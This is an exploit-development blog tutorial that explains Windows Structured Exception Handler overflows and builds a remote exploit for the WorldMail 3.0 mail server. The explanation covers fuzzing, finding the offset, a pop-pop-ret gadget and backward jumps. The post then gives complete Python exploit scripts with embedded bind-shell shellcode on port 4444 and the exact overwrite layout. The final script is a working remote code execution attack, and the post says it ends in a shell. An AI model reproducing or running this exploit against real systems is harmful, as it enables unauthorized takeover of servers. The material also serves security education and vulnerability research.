WorldMail v3.0 SEH Overflow Exploit

WorldMail 3.0 is a mail server application for Windows that contains a publicly known buffer overflow vulnerability.

I attempted this as an exercise to brush up on my SEH overflow skillz and figured this would be a good example to use in an SEH overflow tutorial as promised in my last post.

If you would like to try this exploit out for yourself, you can download the software from this site: http://www.eudora.com/download/worldmail/3.0/

Before I begin the exploit, let’s first go over what Structured Exception Handlers are.

SEH records are stored in a singularly linked list called the SEH chain, the head of which, is located at a data structure known as the Thread Environment Block (TEB) or FS:[0]. The TEB stores information on the current thread and is always pointed to by FS. The following describes the structure of a SEH record:


typedef struct _EXCEPTION_REGISTRATION_RECORD
{
    struct _EXCEPTION_REGISTRATION_RECORD *Next;
    EXCEPTION_DISPOSITION (*Handler)(
            struct _EXCEPTION_RECORD *record,
            void *frame,
            struct _CONTEXT *ctx,
            void *dispctx);
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

Each SEH record consists of two DWORD pointers. The first pointer points to the next SEH record and the second pointer points to the exception handler code for that particular record. The end of the SEH chain is denoted when the pointer to the next SEH record is 0xFFFFFFFF.

When a process runs and an exception occurs, Windows ntdll.dll is called and the Operating System traverses the SEH chain looking for the correct exception handler to call. If it reaches the end of the SEH chain and has not found the appropriate handler, it calls the default Windows exception handler which, depending on your operating system, may look like this:

Screen Shot 2016-05-11 at 2.25.53 PM

Structured Exception Handlers (SEH) are useful attack vectors for exploit developers. On non-SafeSEH enabled processes and dlls, SEHs can be exploited to bypass memory protection mechanisms such as stack cookies in order to achieve arbitrary code execution.

If you would like a more comprehensive guide to learn about SEH-based exploits, I highly recommend you check out Corelan’s tutorial.

Now that we have a basic understanding of how Windows exception handling works, let’s begin our work on the WorldMail software.

After fuzzing the service, I noticed that it crashed when it receives a buffer of about length 1500 bytes placed in between the strings “a001 LIST ” and “}”.

I then sent it a unique pattern of 1500 bytes and found that the pointer to the next SEH record exists at an offset of 770 bytes from the beginning of the buffer.

pattern_offset.rb

Knowing this, I figured I could overwrite the NSEH by appending 4 bytes immediately after the 770 filler bytes, as well as the exception handler by appending another 4 bytes after that.
I tested this out by beginning my exploit script:

#!/usr/bin/python

import socket
import sys

char = '}'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#770 bytes to ptr to next SEH record
#payload is 1500 bytes
#b is pointer to NSEH
#c is exception handler
payload = "\x90"*770 + "B"*4 + "C"*4 + "D"*722

s.connect((sys.argv[1],int(sys.argv[2])))
data=s.recv(1024)
s.send('a001 LIST ' + payload + char +'\r\n')
s.close()

This is what my SEH chain looked like after running it:

SEH_Chain

As we can see, the pointer to the next SEH was overwritten with 4 “B”s or in hex, 0x42424242 and our exception handler now points to address 0x43434343 which is hex for 4 “C”s. Perfect.

Now that we have confirmed we have control over the NSEH and exception handler, what do we overwrite these address with?

The traditional approach is to overwrite the pointer to the next structured exception handler record with a jmp instruction into our shellcode and overwrite the pointer to the exception handler with the address of a pop-pop-ret instruction.

We must find the address of a pop-pop-ret instruction somewhere in our process because performing these instructions would return whatever is stored in the pointer to the next SEH record into EIP, which in our case, is a jmp instruction into our shellcode. There are some limitations, however. The address of the pop-pop-ret instruction cannot contain any nullbytes, and it must be derived from a non-ASLR and non-SafeSEH enabled module.

For the uninitiated, SafeSEH is an exploit mitigation technology that is supposed to prevent SEH overflow exploits (emphasis on the “supposed to”). If a module is compiled with SafeSEH, it maintains a list of known addresses than can be used as exception handler functions. At run-time, if an exception from a SafeSEH-enabled module is called, the system checks to see if the exception points to an entry in its list of known addresses before executing the exception handling routine. If it does not, the process terminates and the exception handling routine is never executed.

Mona.py greatly simplifies the process of finding a pop-pop-ret instruction that meets all of these requirements as we can see here:

!mona seh -n

For my exploit, I just chose the first instruction which is located at 0x600429de.

Next, I determined the opcodes for the jmp instruction using metasm:
metasm_jmp_6

2 bytes for the remainder of the NSEH DWORD and 4 bytes for the exception handler DWORD.

Canonically, the shellcode is supposed to be placed immediately after the overwritten exception handler and you are supposed to overwrite the pointer to the NSEH with a jmp 6 instruction in order to execute the shellcode. This is where I ran into a problem.
Initially, my payload looked something like this:

#!/usr/bin/python

import socket
import sys

char = '}'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#Windows Bind Shell Shellcode Port=4444 Size=344
shellcode = ("\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xcc"
"\x55\x8f\x48\x83\xeb\xfc\xe2\xf4\x30\x3f\x64\x05\x24\xac\x70\xb7"
"\x33\x35\x04\x24\xe8\x71\x04\x0d\xf0\xde\xf3\x4d\xb4\x54\x60\xc3"
"\x83\x4d\x04\x17\xec\x54\x64\x01\x47\x61\x04\x49\x22\x64\x4f\xd1"
"\x60\xd1\x4f\x3c\xcb\x94\x45\x45\xcd\x97\x64\xbc\xf7\x01\xab\x60"
"\xb9\xb0\x04\x17\xe8\x54\x64\x2e\x47\x59\xc4\xc3\x93\x49\x8e\xa3"
"\xcf\x79\x04\xc1\xa0\x71\x93\x29\x0f\x64\x54\x2c\x47\x16\xbf\xc3"
"\x8c\x59\x04\x38\xd0\xf8\x04\x08\xc4\x0b\xe7\xc6\x82\x5b\x63\x18"
"\x33\x83\xe9\x1b\xaa\x3d\xbc\x7a\xa4\x22\xfc\x7a\x93\x01\x70\x98"
"\xa4\x9e\x62\xb4\xf7\x05\x70\x9e\x93\xdc\x6a\x2e\x4d\xb8\x87\x4a"
"\x99\x3f\x8d\xb7\x1c\x3d\x56\x41\x39\xf8\xd8\xb7\x1a\x06\xdc\x1b"
"\x9f\x06\xcc\x1b\x8f\x06\x70\x98\xaa\x3d\x9e\x14\xaa\x06\x06\xa9"
"\x59\x3d\x2b\x52\xbc\x92\xd8\xb7\x1a\x3f\x9f\x19\x99\xaa\x5f\x20"
"\x68\xf8\xa1\xa1\x9b\xaa\x59\x1b\x99\xaa\x5f\x20\x29\x1c\x09\x01"
"\x9b\xaa\x59\x18\x98\x01\xda\xb7\x1c\xc6\xe7\xaf\xb5\x93\xf6\x1f"
"\x33\x83\xda\xb7\x1c\x33\xe5\x2c\xaa\x3d\xec\x25\x45\xb0\xe5\x18"
"\x95\x7c\x43\xc1\x2b\x3f\xcb\xc1\x2e\x64\x4f\xbb\x66\xab\xcd\x65"
"\x32\x17\xa3\xdb\x41\x2f\xb7\xe3\x67\xfe\xe7\x3a\x32\xe6\x99\xb7"
"\xb9\x11\x70\x9e\x97\x02\xdd\x19\x9d\x04\xe5\x49\x9d\x04\xda\x19"
"\x33\x85\xe7\xe5\x15\x50\x41\x1b\x33\x83\xe5\xb7\x33\x62\x70\x98"
"\x47\x02\x73\xcb\x08\x31\x70\x9e\x9e\xaa\x5f\x20\x3c\xdf\x8b\x17"
"\x9f\xaa\x59\xb7\x1c\x55\x8f\x48")

#770 bytes to ptr to next SEH record
#payload is 1500 bytes
nseh = "\xeb\x04\x90\x90" #jmp 6
seh = "\xde\x29\x04\x60" #pop-pop-ret

payload = "\x90"*770  + nseh + seh + shellcode + "A"*378

s.connect((sys.argv[1],int(sys.argv[2])))
data=s.recv(1024)
s.send('a001 LIST ' + payload + char +'\r\n')
s.close()

However, I tried this out and it didn’t work. Why? Because I had run out of room on the stack and my shellcode was getting cut off.
To avoid this, I realized I had to place my shellcode before the corrupted SEH record and do a backwards jmp instead of a forward jmp.

I changed my payload to look like this:

nseh = "\xe9\x6b\xfe\xff\xff" #long jmp $-400
seh = "\xde\x29\x04\x60" #pop-pop-ret

#770 bytes to ptr to next SEH record
#buffer is 1500 bytes
payload = "\x90"*426 + shellcode + nseh + seh + "A"*721

So again, I tried…and again failed. Why? I realized later that the pointer to the next SEH was limited to a DWORD (4 bytes) so I was essentially overwriting my pop-pop-ret address with an extra byte because my long backwards jmp was 5 bytes long. Instead, I had to overwrite the pointer to the NSEH with a short backwards jmp…into a long backwards jmp into my shellcode.

I’ve drawn out a diagram to make this clearer:

SEH Overflow Diagram

So this is my final exploit script:

#!/usr/bin/python

import socket
import sys

char = '}'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#Windows Bind Shell Shellcode Port=4444 Size=344
shellcode = ("\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xcc"
"\x55\x8f\x48\x83\xeb\xfc\xe2\xf4\x30\x3f\x64\x05\x24\xac\x70\xb7"
"\x33\x35\x04\x24\xe8\x71\x04\x0d\xf0\xde\xf3\x4d\xb4\x54\x60\xc3"
"\x83\x4d\x04\x17\xec\x54\x64\x01\x47\x61\x04\x49\x22\x64\x4f\xd1"
"\x60\xd1\x4f\x3c\xcb\x94\x45\x45\xcd\x97\x64\xbc\xf7\x01\xab\x60"
"\xb9\xb0\x04\x17\xe8\x54\x64\x2e\x47\x59\xc4\xc3\x93\x49\x8e\xa3"
"\xcf\x79\x04\xc1\xa0\x71\x93\x29\x0f\x64\x54\x2c\x47\x16\xbf\xc3"
"\x8c\x59\x04\x38\xd0\xf8\x04\x08\xc4\x0b\xe7\xc6\x82\x5b\x63\x18"
"\x33\x83\xe9\x1b\xaa\x3d\xbc\x7a\xa4\x22\xfc\x7a\x93\x01\x70\x98"
"\xa4\x9e\x62\xb4\xf7\x05\x70\x9e\x93\xdc\x6a\x2e\x4d\xb8\x87\x4a"
"\x99\x3f\x8d\xb7\x1c\x3d\x56\x41\x39\xf8\xd8\xb7\x1a\x06\xdc\x1b"
"\x9f\x06\xcc\x1b\x8f\x06\x70\x98\xaa\x3d\x9e\x14\xaa\x06\x06\xa9"
"\x59\x3d\x2b\x52\xbc\x92\xd8\xb7\x1a\x3f\x9f\x19\x99\xaa\x5f\x20"
"\x68\xf8\xa1\xa1\x9b\xaa\x59\x1b\x99\xaa\x5f\x20\x29\x1c\x09\x01"
"\x9b\xaa\x59\x18\x98\x01\xda\xb7\x1c\xc6\xe7\xaf\xb5\x93\xf6\x1f"
"\x33\x83\xda\xb7\x1c\x33\xe5\x2c\xaa\x3d\xec\x25\x45\xb0\xe5\x18"
"\x95\x7c\x43\xc1\x2b\x3f\xcb\xc1\x2e\x64\x4f\xbb\x66\xab\xcd\x65"
"\x32\x17\xa3\xdb\x41\x2f\xb7\xe3\x67\xfe\xe7\x3a\x32\xe6\x99\xb7"
"\xb9\x11\x70\x9e\x97\x02\xdd\x19\x9d\x04\xe5\x49\x9d\x04\xda\x19"
"\x33\x85\xe7\xe5\x15\x50\x41\x1b\x33\x83\xe5\xb7\x33\x62\x70\x98"
"\x47\x02\x73\xcb\x08\x31\x70\x9e\x9e\xaa\x5f\x20\x3c\xdf\x8b\x17"
"\x9f\xaa\x59\xb7\x1c\x55\x8f\x48")

nseh = "\xeb\xf4\x90\x90" #short jmp $-10
longjmp = "\xe9\x6b\xfe\xff\xff" #long jmp $-400
seh = "\xde\x29\x04\x60" #pop-pop-ret

#770 bytes to ptr to next SEH record
#buffer is 1500 bytes
payload = "\x90"*409 + shellcode + "\x90"*12 + longjmp + nseh + seh + "A"*722

s.connect((sys.argv[1],int(sys.argv[2])))
data=s.recv(1024)
print '[*] sending evil payload...'
s.send('a001 LIST ' + payload + char +'\r\n')
print '[*] payload sent! bind shell opened on port 4444'
s.close()

And just like that, we have a shell!

Bind_Shell

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s